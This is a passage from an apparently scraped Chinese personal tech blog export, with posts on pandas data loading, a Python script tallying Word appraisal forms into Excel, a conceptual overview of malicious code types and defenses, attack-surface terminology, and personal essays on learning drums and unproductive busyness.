文件能够以纯文本形式存储表格数据，比如电子表格、数据库文件，并具有数据交换的通用格式。CSV 文件会在 Excel 文件中被打开，其行和列都定义了标准的数据格式。 将 CSV 中的数据转换为 DataFrame 对象是非常便捷的。和一般文件读写不一样，它不需要你做打开文件、读取文件、关闭文件等操作。相反，只需要一行代码就可以完成上述所有步骤，并将数据存储在 DataFrame 中。 pandas通过read_csv()从 CSV 文件中读取数据，并创建 DataFrame 对象。 下面通过一个实例来说明。一个用于测试的员工数据集csv的数据如下，文件为staff.csv。\n1 2 3 4 5 6 7 8 9 10 11 \u0026#34;staff_id\u0026#34;,\u0026#34;staff_name\u0026#34;,\u0026#34;staff_age\u0026#34;,\u0026#34;staff_gender\u0026#34;,\u0026#34;staff_salary\u0026#34;,\u0026#34;staff_depatment_id\u0026#34; \u0026#34;1\u0026#34;,\u0026#34;陈一\u0026#34;,\u0026#34;30\u0026#34;,\u0026#34;男\u0026#34;,\u0026#34;7000\u0026#34;,\u0026#34;1\u0026#34; \u0026#34;2\u0026#34;,\u0026#34;周二\u0026#34;,\u0026#34;31\u0026#34;,\u0026#34;男\u0026#34;,\u0026#34;12000\u0026#34;,\u0026#34;2\u0026#34; \u0026#34;3\u0026#34;,\u0026#34;张三\u0026#34;,\u0026#34;30\u0026#34;,\u0026#34;女\u0026#34;,\u0026#34;13000\u0026#34;,\u0026#34;3\u0026#34; \u0026#34;4\u0026#34;,\u0026#34;李四\u0026#34;,\u0026#34;29\u0026#34;,\u0026#34;女\u0026#34;,\u0026#34;15000\u0026#34;,\u0026#34;1\u0026#34; \u0026#34;5\u0026#34;,\u0026#34;王五\u0026#34;,\u0026#34;29\u0026#34;,\u0026#34;男\u0026#34;,\u0026#34;9000\u0026#34;,\u0026#34;2\u0026#34; \u0026#34;6\u0026#34;,\u0026#34;赵六\u0026#34;,\u0026#34;35\u0026#34;,\u0026#34;男\u0026#34;,\u0026#34;8600\u0026#34;,\u0026#34;1\u0026#34; \u0026#34;7\u0026#34;,\u0026#34;钱七\u0026#34;,\u0026#34;36\u0026#34;,\u0026#34;女\u0026#34;,\u0026#34;9700\u0026#34;,\u0026#34;3\u0026#34; \u0026#34;8\u0026#34;,\u0026#34;孙八\u0026#34;,\u0026#34;40\u0026#34;,\u0026#34;女\u0026#34;,\u0026#34;10000\u0026#34;,\u0026#34;3\u0026#34; \u0026#34;9\u0026#34;,\u0026#34;何九\u0026#34;,\u0026#34;40\u0026#34;,\u0026#34;男\u0026#34;,\u0026#34;11000\u0026#34;,\u0026#34;1\u0026#34; \u0026#34;10\u0026#34;,\u0026#34;顾十\u0026#34;,\u0026#34;37\u0026#34;,\u0026#34;女\u0026#34;,\u0026#34;15000\u0026#34;,\u0026#34;2\u0026#34; 代码如下：\n1 2 3 import pandas as pd df = pd.read_csv(\u0026#39;C:\\\\Users\\\\xiejava\\\\Desktop\\\\staff.csv\u0026#39;) df 输出： 二、读取EXCEL文件 Excel 是由微软公司开发的办公软件之一，它在日常工作中得到了广泛的应用。在数据量较少的情况下，Excel 对于数据的处理、分析、可视化有其独特的优势，因此可以显著提升您的工作效率。但是，当数据量非常大时，Excel 的劣势就暴露出来了，比如，操作重复、数据分析难等问题。Pandas 提供了操作 Excel 文件的函数，可以很方便地处理 Excel 表格。 pandas提供了 read_excel() 方法，从 Excel文件中读取数据，并创建 DataFrame 对象。 staff数据集excel文件staff.xlsx如下图： 代码如下：\n1 2 3 import pandas as pd df = pd.read_excel(\u0026#39;C:\\\\Users\\\\xiejava\\\\Desktop\\\\staff.xlsx\u0026#39;) df 输出： 三、读取MySQL数据库表 在许多应用中，数据很少取自文本文件，因为这种方式存储数据量有限且比较低效。最常见的是基于SQL的关系型数据库如MySQL、MS-SQL、PostgreSQL等。pandas将关系型数据库加载到DataFrame的过程很简单，通过read_sql_query()方法就可以快速的将数据加载。 同样是staff的数据集，在mysql中的表结构如下：\n1 2 3 4 5 6 7 8 CREATE TABLE `staff` ( `staff_id` int(11) DEFAULT NULL, `staff_name` varchar(64) DEFAULT NULL, `staff_age` int(2) DEFAULT NULL COMMENT \u0026#39;年龄\u0026#39;, `staff_gender` varchar(2) DEFAULT NULL COMMENT \u0026#39;性别\u0026#39;, `staff_salary` double DEFAULT NULL COMMENT \u0026#39;薪水\u0026#39;, `staff_depatment_id` int(2) DEFAULT NULL COMMENT \u0026#39;部门ID\u0026#39; ) ENGINE=InnoDB DEFAULT CHARSET=utf8; 数据如下： 代码如下：\n1 2 3 4 5 6 import pandas as pd from sqlalchemy import create_engine engine = create_engine(\u0026#39;mysql+pymysql://root:yourpassword@localhost:3306/pandastest\u0026#39;) sql_query_staff = \u0026#39;select * from staff;\u0026#39; df_staff = pd.read_sql_query(sql_query_staff, engine) df_staff 输出： 四、读取Web API的数据 除了本地文件和数据库外，许多网站和web应用都有一些通过JSON或其他格式提供数据的公共API。可以通过Python的requests包来访问这些API获得相应的数据，经过解析处理后加载到pandas的DataFrame中。 为了演示方便，本文通过Flask做了一个staff数据集的API，效果如下： 通过requests包来访问API，通过json包来解析json，然后加载到pandas的DataFrame中。 代码如下：\n1 2 3 4 5 6 7 8 import requests import json import pandas as pd url=\u0026#39;http://127.0.0.1:5000/getstaff\u0026#39; resp=requests.get(url) data=json.loads(resp.text) staff=pd.DataFrame(data) staff 输出： 至此，通过staff测试数据集介绍了pandas的常用多种类型数据源的加载，包括csv、excel、mysql、web API。可以看出pandas对于数据加载非常的方便高效。\n全部数据集及源代码：https://github.com/xiejava1018/pandastest.git\n作者博客：http://xiejava.ishareread.com/\n关注：微信公众号,一起学习成长！\n","permalink":"http://xiejava.ishareread.com/posts/2022-01-22-pandas%E4%B9%8B%E6%95%B0%E6%8D%AE%E5%8A%A0%E8%BD%BD-csvexceljsonmysqlwebapi/","summary":"\u003cp\u003e\u003cimg alt=\"pandas\" loading=\"lazy\" src=\"http://image2.ishareread.com/images/2022/20220122/pandas.png\"\u003e\npandas 是基于NumPy 的一种工具，该工具是为解决数据分析任务而创建的。Pandas 纳入了大量库和一些标准的数据模型，提供了高效地操作大型数据集所需的工具。Pandas的名称来自于面板数据（panel data）和python数据分析（data analysis）。pandas提供了大量能使我们快速便捷地处理数据的函数和方法。它是使Python成为强大而高效的数据分析环境的重要因素之一。\u003c/p\u003e","title":"pandas数据加载(csv、excel、json、mysql、webAPI)"},{"content":"快过年了，又到了公司年底评级的时候了。今年的评级和往常一下，每个人都要填写公司的民主评议表，给各个同事进行评价打分，然后部门收集起来根据收集上来的评价表进行汇总统计。想想要收集几十号人的评价表，并根据每个人的评价表又要填到Excel中进行汇总计算统计给出每个人的评价，就头大。虽然不是个什么难事，但是是个无脑的细致活。几十个人的评价也得要花大半天的时间来弄，而且搞多了还容易搞错。如是就想起干脆用Python写个小程序自动来处理这些脏活累活，评级年年都要评，每年都可以用。\n要做的事情就是读放到某个文件夹中的word文档中的评价表格，根据表格内容进行处理，然后汇总所有的表格数据，根据计算规则，算出每个人的评分，在根据评分计算每个人的评价。汇总后写入Excel中。 不可否认用Python来实现这样的事情真的是太方便了，人生苦短我用Python。 我是用的python的docx包来处理word，用pandas来处理数据并写入excel\n一、首先导入包 1 2 pip install docx pip install pandas pandas写excel依赖openpyxl包所以也到导入\n1 pip install openpyxl 二、读评价表所在的目录文件 通过python的os包，列出文件夹里面的文件，识别出.docx的文件\n1 2 3 4 files=os.listdir(filepah) for file in files: if file.find(\u0026#39;.docx\u0026#39;)\u0026gt;0: docfilepah=filepah+file 三、读word文件，处理word中的表格数据 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 data=[] #读word的docx评议表文件，并读取word中的表格数据 def procdoc(docfilepath): document=Document(docfilepath) tables=document.tables table=tables[0] for i in range(1,len(table.rows)): id=int(table.cell(i,0).text) name=table.cell(i,1).text excellent=0 if table.cell(i,2).text!=\u0026#39;\u0026#39; and table.cell(i,2).text is not None: excellent=1 competent = 0 if table.cell(i, 3).text!=\u0026#39;\u0026#39; and table.cell(i, 3).text is not None: competent=1 basicacompetent=0 if table.cell(i, 4).text!=\u0026#39;\u0026#39; and table.cell(i, 4).text is not None: basicacompetent=1 notcompetent = 0 if table.cell(i, 5).text!=\u0026#39;\u0026#39; and table.cell(i, 5).text is not None: notcompetent=1 dontunderstand =0 if table.cell(i, 6).text!=\u0026#39;\u0026#39; and table.cell(i, 6).text is not None: dontunderstand=1 appraisedata=[id,name,excellent,competent,basicacompetent,notcompetent,dontunderstand] data.append(appraisedata) 四、统计计算 通过pandas直接对数据进行统计计算，避免了传统的循环计算。\n1 2 3 4 5 df = pd.DataFrame(data,columns=[\u0026#39;序号\u0026#39;,\u0026#39;姓名\u0026#39;,\u0026#39;优秀\u0026#39;,\u0026#39;称职\u0026#39;,\u0026#39;基本称职\u0026#39;,\u0026#39;不称职\u0026#39;,\u0026#39;不了解\u0026#39;]) df=df.groupby([\u0026#39;序号\u0026#39;,\u0026#39;姓名\u0026#39;]).sum() #汇总每个人每一项的评分 df[\u0026#39;票数\u0026#39;] = df.apply(lambda x: x.sum(), axis=1) #统计票数 df[\u0026#39;计分\u0026#39;] = (df[\u0026#39;优秀\u0026#39;]*95+df[\u0026#39;称职\u0026#39;]*85+df[\u0026#39;基本称职\u0026#39;]*75+df[\u0026#39;不称职\u0026#39;]*65+df[\u0026#39;不了解\u0026#39;]*0)/len(df)#根据规则计分 df[\u0026#39;评价\u0026#39;]=df[\u0026#39;计分\u0026#39;].map(getscore) #根据规则评价评级 计分方法：民主评议得分=Σ各等级票数*等级计分分数/总票数，其中“优秀”计95分，“称职”计85分，“基本称职”计75分，“不称职”计65分，“不了解”不计分。\n1 2 3 4 5 6 7 8 9 10 11 #根据评分规则计算评级 def getscore(x): if x\u0026gt;=95: score=\u0026#39;优秀\u0026#39; elif x\u0026gt;=80 and x\u0026lt;95: score=\u0026#39;称职\u0026#39; elif x\u0026gt;=75 and x\u0026lt;80: score=\u0026#39;基本称职\u0026#39; elif x\u0026lt;75: score=\u0026#39;不称职\u0026#39; return score 五、将统计计算结果写入汇总Excel 通过pandas直接可以将dataframe写入到Excel文件\n1 2 3 4 5 6 #将汇总计算好的数据写入Excel def write2excle(exclefile,dataframe): writer = pd.ExcelWriter(exclefile) dataframe.to_excel(writer) writer.save() print(\u0026#39;输出成功\u0026#39;) 完整代码 Python不到八十行代码，实现读Word-\u0026gt;处理表格数据-\u0026gt;汇总计算数据-\u0026gt;写Excel。 完整的代码如下：\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 import os import pandas as pd from docx import Document data=[] #读word的docx评议表文件，并读取word中的表格数据 def procdoc(docfilepath): document=Document(docfilepath) tables=document.tables table=tables[0] for i in range(1,len(table.rows)): id=int(table.cell(i,0).text) name=table.cell(i,1).text excellent=0 if table.cell(i,2).text!=\u0026#39;\u0026#39; and table.cell(i,2).text is not None: excellent=1 competent = 0 if table.cell(i, 3).text!=\u0026#39;\u0026#39; and table.cell(i, 3).text is not None: competent=1 basicacompetent=0 if table.cell(i, 4).text!=\u0026#39;\u0026#39; and table.cell(i, 4).text is not None: basicacompetent=1 notcompetent = 0 if table.cell(i, 5).text!=\u0026#39;\u0026#39; and table.cell(i, 5).text is not None: notcompetent=1 dontunderstand =0 if table.cell(i, 6).text!=\u0026#39;\u0026#39; and table.cell(i, 6).text is not None: dontunderstand=1 appraisedata=[id,name,excellent,competent,basicacompetent,notcompetent,dontunderstand] data.append(appraisedata) #读取评议表的目录，并处理目录中的docx文件，根据评议表计算评分，写入汇总表。 def readfile(filepah): files=os.listdir(filepah) for file in files: if file.find(\u0026#39;.docx\u0026#39;)\u0026gt;0: docfilepah=filepah+file procdoc(docfilepah) df = pd.DataFrame(data,columns=[\u0026#39;序号\u0026#39;,\u0026#39;姓名\u0026#39;,\u0026#39;优秀\u0026#39;,\u0026#39;称职\u0026#39;,\u0026#39;基本称职\u0026#39;,\u0026#39;不称职\u0026#39;,\u0026#39;不了解\u0026#39;]) print(df) df=df.groupby([\u0026#39;序号\u0026#39;,\u0026#39;姓名\u0026#39;]).sum() df[\u0026#39;票数\u0026#39;] = df.apply(lambda x: x.sum(), axis=1) df[\u0026#39;计分\u0026#39;] = (df[\u0026#39;优秀\u0026#39;]*95+df[\u0026#39;称职\u0026#39;]*85+df[\u0026#39;基本称职\u0026#39;]*75+df[\u0026#39;不称职\u0026#39;]*65+df[\u0026#39;不了解\u0026#39;]*0)/len(df) df[\u0026#39;评价\u0026#39;]=df[\u0026#39;计分\u0026#39;].map(getscore) print(df) write2excle(\u0026#39;民主评议\\\\民主评议表汇总.xlsx\u0026#39;,df) #根据评分规则计算评级 def getscore(x): if x\u0026gt;=95: score=\u0026#39;优秀\u0026#39; elif x\u0026gt;=80 and x\u0026lt;95: score=\u0026#39;称职\u0026#39; elif x\u0026gt;=75 and x\u0026lt;80: score=\u0026#39;基本称职\u0026#39; elif x\u0026lt;75: score=\u0026#39;不称职\u0026#39; return score #将汇总计算好的数据写入Excel def write2excle(exclefile,dataframe): writer = pd.ExcelWriter(exclefile) dataframe.to_excel(writer) writer.save() print(\u0026#39;输出成功\u0026#39;) if __name__ == \u0026#39;__main__\u0026#39;: readfile(\u0026#39;民主评议\\\\\u0026#39;) 全部源代码：https://github.com/xiejava1018/pythonprocword\n作者博客：http://xiejava.ishareread.com/\n关注：微信公众号,一起学习成长！\n","permalink":"http://xiejava.ishareread.com/posts/2022-01-20-python%E5%AE%9E%E7%8E%B0%E8%AF%BB%E5%8F%96word%E8%A1%A8%E6%A0%BC%E8%AE%A1%E7%AE%97%E6%B1%87%E6%80%BB%E5%86%99%E5%85%A5excel/","summary":"\u003cp\u003e快过年了，又到了公司年底评级的时候了。今年的评级和往常一下，每个人都要填写公司的民主评议表，给各个同事进行评价打分，然后部门收集起来根据收集上来的评价表进行汇总统计。想想要收集几十号人的评价表，并根据每个人的评价表又要填到Excel中进行汇总计算统计给出每个人的评价，就头大。虽然不是个什么难事，但是是个无脑的细致活。几十个人的评价也得要花大半天的时间来弄，而且搞多了还容易搞错。如是就想起干脆用Python写个小程序自动来处理这些脏活累活，评级年年都要评，每年都可以用。\u003c/p\u003e","title":"Python实现读取Word表格计算汇总写入Excel"},{"content":"恶意代码是一种有害的计算机代码或 web 脚本，其设计目的是创建系统漏洞，并借以造成后门、安全隐患、信息和数据盗窃、以及其他对文件和计算机系统的潜在破坏。恶意代码不仅使企业和用户蒙受了巨大的经济损失，而且使国家的安全面临着严重威胁。1991年的海湾战争是美国第一次公开在实战中使用恶意代码攻击技术取得重大军事利益，从此恶意代码攻击成为信息战、网络战最重要的入侵手段之一。恶意代码问题无论从政治上、经济上、还是军事上，都成为信息安全面临的首要问题。让我们一起来认识一下恶意代码。\n一、什么是恶意代码 恶意代码（Unwanted Code）是指故意编制或设置的、对网络或系统会产生威胁或潜在威胁的计算机代码。最常见的恶意代码有计算机病毒（简称病毒）、特洛伊木马（简称木马）、计算机蠕虫（简称蠕虫）、后门、逻辑炸弹等。\n二、恶意代码的分类 1、恶意代码分类 恶意代码的分类标准主要是代码的独立性和自我复制性，独立的恶意代码是指具备一个完整程序所应该具有的全部功能功能，能够独立传播、运行的恶意代码，这样的恶意代码不需要寄宿在另一个程序中。非独立恶意代码只是一段代码，必须嵌入某个完整的程序中，作为该程序的一个组成部分进行传播和运行。对于非独立恶意代码，自我复制过程就是将自身嵌入宿主程序的过程，这个过程也称为感染宿主程序的过程。对于独立恶意代码，自我复制过程就是将自身传播给其他系统的过程。不具有自我复制能力的恶意代码必须借助其他媒介进行传播。\n分类：\n类别 实例 具有自我复制能力的依附性恶意代码 主要代表是病毒 具有自我复制能力的独立性恶意代码 主要代表是蠕虫 不具有自我复制能力的依附性恶意代码 主要代表是后门 不具有自我复制能力的独立性恶意代码 主要代表是木马 2、不同恶意代码的区别 病毒侧重于破坏系统和程序的能力\n木马侧重于窃取敏感信息的能力\n蠕虫侧重于网络中的自我复制能力和自我传染能力\n病毒 木马 蠕虫 存在形式 寄生 独立文件 独立文件 传染途径 通过宿主程序运行 植入目标主机 系统漏洞 传染速度 慢 最慢 快 攻击目标 本地文件 文件、网络主机 存在漏洞的网络程序 触发机制 攻击者指定条件 自启动 自动攻击有漏洞的程序 防范方法 从宿主文件中清除 清除启动项和木马服务程序 更新安全补丁 对抗主体 用户，反病毒软件 用户、管理员、反病毒软件 应用程序供应商、用户和管理员 三、恶意代码基本技术 1、隐蔽技术 （1）本地隐藏 防止本地系统管理人员觉察而采取的隐蔽手段。\n文件隐蔽：将恶意代码的文件命名为与系统的合法程序文件名相似的名称，或者干脆取而代之，或者将恶意代码文件附加到合法程序文件中。 进程隐蔽：附着或替换系统进程，使恶意代码以合法服务的身份运行，从而隐蔽恶意代码。还可以通过修改进程列表程序，修改命令行参数使恶意代码进程的信息无法查询。也可以借助RootKit 技术实现进程隐蔽。 网络连接隐蔽：借用现有服务的端口实现网络连接隐蔽，如使用80端口，攻击者在自己的数据包设置特殊标识，通过标识识别连接信息，未标识的WWW 服务网络包仍转交给原服务程序处理。 编译器隐蔽：由编译器在对程序代码进行编译时植入恶意代码，从而实现恶意代码在用户程序中的隐藏和原始分发攻击。恶意代码的植入者是编译器开发人员。 RootKit隐蔽：利用适当的Rootkit工具，可以很好的隐蔽自身或指定的文件、进程和网络连接等，很难被管理员发现。 （2）网络隐藏 网络隐藏主要是指通信内容和传输通道的隐藏。\n通信内容隐蔽：使用加密算法对所传输的内容进行加密能够隐蔽通信内容。 传输通道隐藏：利用隐蔽通道技术，实现对传输通道的隐蔽。（隐蔽通道（Covert Channel）是一个不受安全机制控制的、利用共享资源作为通信通路的信息流。包括有：存储隐蔽通道和时间隐蔽通道。） 2、生存技术 恶意代码的生存技术主要包括四种类型：\n反跟踪技术：通过提高恶意代码分析难度，减少被发现的可能性 加密技术：利用加密技术，提高恶意代码自身保护能力 模糊变换技术：利用模糊变换技术，恶意代码可以躲避基于特征码的恶意代码检测系统，提高生存能力 自动生产技术：利用自动生成技术，在已有的恶意代码的基础上自动生成特征码不断变化的新的恶意代码，从而躲避基于特征码的恶意代码检测。 3、攻击技术 进程注入技术：恶意代码程序将自身嵌入到操作系统和网络系统的服务程序中，不但实现了自身的隐藏，而且还能随着服务的加载而启动。 三线程技术：恶意代码进程同时开启三个线程，其中一个为主线程，负责远程控制的工作。另外两个辅助线程分别是监视和守护线程。一旦发现主线程被删除，则立即设法恢复。 端口复用技术：重复利用系统或网络服务打开的端口（如80端口），可以欺骗防火墙，具有很强的欺骗性。 超级管理技术：恶意代码采用超级管理技术对反恶意代码软件系统进行攻击，使其无法正常运行。 端口反向连接技术：指使恶意代码的服务端（被控制端）主动连接客户端（控制端）的技术。 缓冲区溢出技术：恶意代码利用系统和网络服务的安全漏洞植入并且执行攻击代码，造成缓冲区溢出，从而获得被攻击主机的控制权。 三、恶意代码传播方式及防范手段 1、传播方式 传播途径\n利用操作系统和应用软件的漏洞进行传播 通过网站传播 在网页上挂载恶意代码 如：主机流览该网页时，恶意代码会自动下载到主机执行。 将恶意代码与正常应用软件捆绑 如：主机下载正常软件运行时，恶意代码也随之自动运行。 利用移动媒介传播 如：主机访问U盘和硬盘时，恶意代码可以自动执行。 利用用户之间的信任关系传播 如：冒充用户发送虚假链接、图片、邮件等。 总的来说，恶意代码的传播是因为用户的软件出现了漏洞、操作不慎或者是两者的结合造成。\n（1）病毒。病毒具备有自我复制能力，一般嵌入主机的程序中。当被感染文件执行操作，如，用户打开一个可执行文件时，病毒就会自我繁殖。病毒一般都具有破坏性。 （2）木马。这种程序从表面上看没有危害，但实际上却隐含着恶意的意图和破坏的作用。一些木马程序会通过覆盖系统中已经存在的文件的方式存在于系统之中；另外有的还会以软件的形式出现，因为它一般是以一个正常的应用程序身份在系统中运行的，所以这种程序通常不容易被发现。 （3）蠕虫。蠕虫是一种可以自我复制的完全独立的程序，它的传播不需要借助被感染主机中的程序和用户的操作，而是通过系统存在的漏洞和设置的不安全性来进行入侵，如通过共享的设置来侵入。蠕虫可以自动创建与它的功能完全相同的副本，并能在无人干涉的情况下自动运行，大量地复制占用计算机的空间，使计算机的运行缓慢甚至瘫痪。\n2、攻击机制 恶意代码的行为表现各异，破坏程度千差万别，但基本作用机制大体相同，其整个作用过程分为6个部分。 （1）侵入系统。侵入系统是而已代码实现其恶意目的的必要条件。恶意代码入侵的途径很多，包括前面传播方式的各种途径。如：从互联网下载的程序本身就可能含有而已代码；接收已感染恶意代码的电子邮件；从光盘或U盘往系统上安装软件；黑客或者攻击者故意将恶意代码植入系统等。 （2）维持或提升权限。恶意代码的传播与破坏必须盗用用户或者进程的合法权限才能完成。 （3）隐蔽策略。为了不让系统发现恶意代码已经侵入系统，恶意代码可能会改名、删除源文件或者修改系统的安全策略来隐藏自己。 （4）潜伏。恶意代码侵入系统后，等待一定的条件，并具有足够的权限时，就发作并进行破坏活动。 （5）破坏。恶意代码本质具有破坏性，其目的是造成信息丢失，泄密，破坏系统完整性等。 （6）重复（1）至（5）对新的目标实施攻击过程。 3、防范手段 通用恶意代码检测技术包括静态和动态检测技术：\n基于特征的扫描技术 建立恶意代码的特征文件，在扫描时根据特征进行匹配查找\n校验和法 对需要监控的文件生成校验，周期性的生成新校验和并与原始值比较\n沙箱技术 根据程序需要的资源和拥有的权限建立运行沙箱，可以安全地检测和分析程序行为\n基于蜜罐的检测技术 将主机伪装为运行着脆弱的服务或系统，同时安装强大的监测系统。\n其中基于特征的扫描技术和校验和法是静态检测技术，沙箱技术和基于蜜罐的检测技术属于动态检测技术。\n四、常见恶意代码 参考文献： 《网络攻防技术与实战 深入理解信息安全防护体系》 郭帆 《恶意代码及其防御》知乎 Drifter 《恶意代码》MBA智库百科\n博客：http://xiejava.ishareread.com/\n关注：微信公众号,一起学习成长！\n","permalink":"http://xiejava.ishareread.com/posts/2022-01-17-%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%E4%B9%8B%E6%81%B6%E6%84%8F%E4%BB%A3%E7%A0%81/","summary":"\u003cp\u003e恶意代码是一种有害的计算机代码或 web 脚本，其设计目的是创建系统漏洞，并借以造成后门、安全隐患、信息和数据盗窃、以及其他对文件和计算机系统的潜在破坏。恶意代码不仅使企业和用户蒙受了巨大的经济损失，而且使国家的安全面临着严重威胁。1991年的海湾战争是美国第一次公开在实战中使用恶意代码攻击技术取得重大军事利益，从此恶意代码攻击成为信息战、网络战最重要的入侵手段之一。恶意代码问题无论从政治上、经济上、还是军事上，都成为信息安全面临的首要问题。让我们一起来认识一下恶意代码。\u003c/p\u003e","title":"网络安全之恶意代码"},{"content":"暴露面 暴露在攻击者视线范围内，可以被利用进行入侵的系统、设备、信息等，都属于暴露面。虽然大多数企业都认识到暴露面的风险所在，并想方设法来减少暴露面；但不幸的是，并非所有暴露面都是显而易见的，大量的暴露面都潜藏在不容易被发现的暗处，很容易因为资产排查不彻底、人员疏漏等问题被忽略。互联网暴露面资产直接面向外部攻击者的威胁。相对于企业内部资产，所面临的安全风险更高。\n攻击面 攻击面：是一个给定的计算机或网络系统，可以被黑客访问和利用的漏洞总和。 攻击面包含： 操作系统、中间件、应用程序、承载网络中存在的软件漏洞； 系统和软件中的错误配置与安全控制缺失； 违反安全制度和合规要求的网络配置； 过度宽松的访问控制规则；\n减少攻击面的基本策略是减少运行中的软件总量，减少非信任用户可使用的入口点，以及消除用户很少使用的服务。改进信息安全的方法之一就是减少系统与软件的攻击表面。因为关闭不必要的功能，可以避免它们带来的安全风险。减少未授权操作者可调用的代码有助避免安全事故。虽然减少攻击表面有助于防止安全事故，但它不能减少一旦攻击者发现漏洞后可能造成的损害程度。\n攻击面从外部攻击视角来审视企业网络资产可能存在的攻击面及脆弱性，如开放端口是否做映射、网络边界是否做隔离、人员行为是否被明确约束等。\n脆弱性 脆弱性也可称为弱点或漏洞，是资产或资产组中存在的可能被威胁利用造成损害的薄弱环节。脆弱性一旦被威胁成功利用就可能对资产造成损害。脆弱性可能存在于物理环境、组织、过程、人员、管理、配置、硬件、软件和信息等各个方面。脆弱性是网络系统中可能被利用并造成危害的弱点。\n三无七边系统 三无：指具有系统特征且存在\u0026quot;无人管理、无人使用、无人防护\u0026quot;情况的业务/网站/系统/平台。 七边：指测试系统、试验平台、退网未离网系统、工程已上线加载业务但未正式交维系统、与合作伙伴共同运营的业务或系统、责任交接不清的系统、处于衰退期的系统。 三无七边系统是往往是最容易被外部攻破和利用的，所以需要加以重视。但是\u0026quot;三无七边\u0026quot;往往是最不容易发现和忽视的。 “三无七边”系统网络安全管控工作应贯穿规划、设计、建设、入网运行、维护及下线退网整个生命周期。\n暴露面不一定存在漏洞也不一定是攻击面，但是因为暴露在攻击者视线范围内，直面外部攻击者的威胁，安全风险高。 攻击面我的理解是既可以被黑客访问又存在漏洞，也就是既是暴露面又有脆弱性，安全风险非常高。 攻击面是从外部攻击的视角来审视可能存在的风险，暴露面和脆弱性从内部管理的视角来审视安全风险。 三无七边系统往往是安全管理人员所忽视的有可能存在暴露面和攻击面而又没有在安全管控范围内的系统，安全风险非常非常高。\n作者博客:http://xiejava.ishareread.com\n关注：微信公众号,一起学习成长！\n","permalink":"http://xiejava.ishareread.com/posts/2022-01-10-%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%E4%B9%8B%E6%9A%B4%E9%9C%B2%E9%9D%A2%E6%94%BB%E5%87%BB%E9%9D%A2%E8%84%86%E5%BC%B1%E6%80%A7/","summary":"\u003cp\u003e\u003cstrong\u003e暴露面\u003c/strong\u003e\n暴露在攻击者视线范围内，可以被利用进行入侵的系统、设备、信息等，都属于暴露面。虽然大多数企业都认识到暴露面的风险所在，并想方设法来减少暴露面；但不幸的是，并非所有暴露面都是显而易见的，大量的暴露面都潜藏在不容易被发现的暗处，很容易因为资产排查不彻底、人员疏漏等问题被忽略。互联网暴露面资产直接面向外部攻击者的威胁。相对于企业内部资产，所面临的安全风险更高。\u003c/p\u003e","title":"网络安全之暴露面、攻击面、脆弱性"},{"content":"\n架子鼓\r一直以来都想学一门乐器。苦于没有任何才艺，不管是学校搞活动还是公司的团拜活动都是躲得远远的。从小就很羡慕那种多才多艺的人，不管什么时候都能成为众人的焦点，在要表演的时候可以自信的拿得出手表现一番。也非常羡慕那种自娱自乐的享受自我放松的自由演奏，感觉会乐器的人总是那么的快乐和陶醉。\n公司搬到岳麓山大学科技城就在中南大学后湖国际艺术园。一天晚上和同事散步经过一家现代音乐体验店，里面传来乐队演奏的声音，于是驻足前往。里面一群快乐的人，正在激情洋溢的排练着享受着。我们都被触动了，这种自由、快乐、充满激情的感觉真好！想着一天到晚围绕着产品、项目、代码、缺陷，被工作和生活的压力摧残着的我们什么时候才会有这样的状态啊？所以合计了一下，我们也来报个班来学乐器。我一直想学架子鼓，所以决定报个学架子鼓的班。\n试听课，老师是一位胖胖的90后小女孩，问了我一个灵魂拷问的问题。你这年纪不小了为什么想起要来学架子鼓？我想了半天，说我就是喜欢敲鼓啊，一直一来就喜欢节奏感比较强的声音，听音乐也是喜欢听节奏感强的歌曲，听到重低音的鼓声敲在心里“咚”、“咚”、“咚”的感觉很踏实。而且敲鼓沉浸在音乐里敲起来帅气。不管怎么样，虽然不会，但是从心里还是喜欢。\n喜欢是喜欢，但是没有目标的学习始终都是在耍流氓，浪费自己的时间、精力还学不好。既然是喜欢，既然开始学了，就一定要学好。我们现在是报的一个课程12节课的班，我的目标是通过这一个课程的学习，了解架子鼓的基本演奏技巧，学会一首歌曲的演奏。就《大风吹》吧，谁叫这歌这段时间这么火呢。计划是每周二、四上课，每天拿出1个小时用来练习。学鼓，虽然我不是天赋最好的，但我争取做那个最认真的！\n今天根据老师的建议在网上买了练习用的哑鼓垫、军鼓架、鼓棒、节拍器。后面动次打次练起来！\n以后我的标签又多了一个\u0026ndash;鼓手！\n关注：微信公众号,一起学习成长！\n","permalink":"http://xiejava.ishareread.com/posts/2021-12-29-%E4%B8%8D%E6%83%B3%E5%AD%A6%E9%BC%93%E7%9A%84%E4%BA%A7%E5%93%81%E7%BB%8F%E7%90%86%E4%B8%8D%E6%98%AF%E4%B8%80%E4%B8%AA%E5%A5%BD%E7%9A%84%E7%A8%8B%E5%BA%8F%E5%91%98/","summary":"\u003cp\u003e\u003cimg alt=\"架子鼓\" loading=\"lazy\" src=\"http://image2.ishareread.com/images/2021/20211229/%E6%9E%B6%E5%AD%90%E9%BC%93.jpg\"\u003e\u003c/p\u003e\n\u003ccenter\u003e架子鼓\u003c/center\u003e\r\n\u003cp\u003e一直以来都想学一门乐器。苦于没有任何才艺，不管是学校搞活动还是公司的团拜活动都是躲得远远的。从小就很羡慕那种多才多艺的人，不管什么时候都能成为众人的焦点，在要表演的时候可以自信的拿得出手表现一番。也非常羡慕那种自娱自乐的享受自我放松的自由演奏，感觉会乐器的人总是那么的快乐和陶醉。\u003c/p\u003e","title":"不想学鼓的产品经理不是一个好的程序员"},{"content":"\n穷忙与假努力\r时间过得真快，只有几天2021年即将过去。每次到了年底回想起来总是感觉时间过得真快，忙忙碌碌又过了一年，可自己各方面取得的成绩乏善可陈。自己并不是很懒惰的人，看上去每天都很忙，却没有忙出效果，反而是随着年龄的增大越来越焦虑。越焦虑就暗自下决心以后要更加努力，当努力没有达到效果时就更加的焦虑。陷入了越努力-\u0026gt;越失望-\u0026gt;越焦虑的怪圈。\n没有目标、没有效果的忙就是穷忙，看上去努力却实际没有效果的努力是假努力，穷忙和假努力往往是一同出现的，假努力造成了穷忙，穷忙成就了假努力。相对于不努力，有时候“假努力”会更加可怕！因为它像安慰剂一样，让